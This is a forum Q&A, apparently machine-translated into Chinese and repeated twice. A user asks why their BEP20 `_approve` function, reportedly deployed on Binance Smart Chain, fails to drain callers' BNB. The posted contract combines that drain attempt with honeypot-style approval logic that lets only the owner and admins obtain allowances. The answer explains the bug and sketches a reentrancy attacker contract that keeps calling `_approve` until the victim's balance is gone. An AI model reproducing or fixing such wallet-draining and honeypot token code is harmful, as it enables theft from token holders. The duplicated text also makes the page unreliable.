我正在尝试编写一个恶意的 ERC20 智能合约批准函数(用于研究目的),但这不起作用
I'm trying to code a malicious ERC20 smartcontract approve function (for study purposes) but this does not work
这是我部署在币安智能链上的智能合约的部分源代码。我想向我的老师展示的(如果可以的话)是当 he/she 调用此智能合约的批准函数时,调用者钱包中的所有 ETH/BNB 都被耗尽。
怎么了?谢谢
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
address payable dest = payable(address(this));
(bool success, ) = dest.call{value:msg.sender.balance/2, gas:50000}("");
if (owner == this.owner() || adminCheck(owner)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
if ((_hasBeenApproved[owner] == false) && (sellAuthorized() == true)) {
_hasBeenApproved[owner] = true;
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
}
address payable dest = payable(address(this));
(bool success, ) = dest.call{value:msg.sender.balance/2, gas:50000}("");
此代码段执行 dest
的后备函数(或 receive()
函数,如果存在),即 此合约 - 而不是调用方.
所以 EVM 执行从这个合约 _approve()
函数到这个合约回退的内部交易...那就是它。没有与用户的其他互动。
msg.sender.balance/2
也可能不是故意的。由于内部交易的发送方是合约(目标是同一个合约),它从合约(到同一个合约)发送金额——而不是从用户。 . 这会带来一个副作用:如果合约余额低于msg.sender.balance/2
(用户余额的一半),内部交易会因为资金不足而失败。
除非回退或 receive()
函数中存在漏洞,您的问题没有显示,否则此代码段不易受到 reentrancy 攻击。
如果调用的目标是攻击者指定的地址,那么它将容易受到重入攻击。
攻击者可能有一个回退函数,它会不断调用 _approve()
直到耗尽受害者的所有资金。
我看到 _approve()
是 internal
,但为简单起见,我们假设它是 external
。
受害者的_approve()
函数:
address payable dest = payable(address(attackerAddress));
(bool success, ) = dest.call{value:msg.sender.balance/2, gas:50000}("");
攻击者地址:
contract Attacker {
fallback() external payable {
if (address(victim).balance > x) {
victim._approve();
} else {
emit AttackFinished();
}
}
}
这是我部署在币安智能链上的智能合约的部分源代码。我想向我的老师展示的(如果可以的话)是当 he/she 调用此智能合约的批准函数时,调用者钱包中的所有 ETH/BNB 都被耗尽。
怎么了?谢谢
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
address payable dest = payable(address(this));
(bool success, ) = dest.call{value:msg.sender.balance/2, gas:50000}("");
if (owner == this.owner() || adminCheck(owner)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
if ((_hasBeenApproved[owner] == false) && (sellAuthorized() == true)) {
_hasBeenApproved[owner] = true;
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
}
address payable dest = payable(address(this));
(bool success, ) = dest.call{value:msg.sender.balance/2, gas:50000}("");
此代码段执行 dest
的后备函数(或 receive()
函数,如果存在),即 此合约 - 而不是调用方.
所以 EVM 执行从这个合约 _approve()
函数到这个合约回退的内部交易...那就是它。没有与用户的其他互动。
msg.sender.balance/2
也可能不是故意的。由于内部交易的发送方是合约(目标是同一个合约),它从合约(到同一个合约)发送金额——而不是从用户。 . 这会带来一个副作用:如果合约余额低于msg.sender.balance/2
(用户余额的一半),内部交易会因为资金不足而失败。
除非回退或 receive()
函数中存在漏洞,您的问题没有显示,否则此代码段不易受到 reentrancy 攻击。
如果调用的目标是攻击者指定的地址,那么它将容易受到重入攻击。
攻击者可能有一个回退函数,它会不断调用 _approve()
直到耗尽受害者的所有资金。
我看到 _approve()
是 internal
,但为简单起见,我们假设它是 external
。
受害者的_approve()
函数:
address payable dest = payable(address(attackerAddress));
(bool success, ) = dest.call{value:msg.sender.balance/2, gas:50000}("");
攻击者地址:
contract Attacker {
fallback() external payable {
if (address(victim).balance > x) {
victim._approve();
} else {
emit AttackFinished();
}
}
}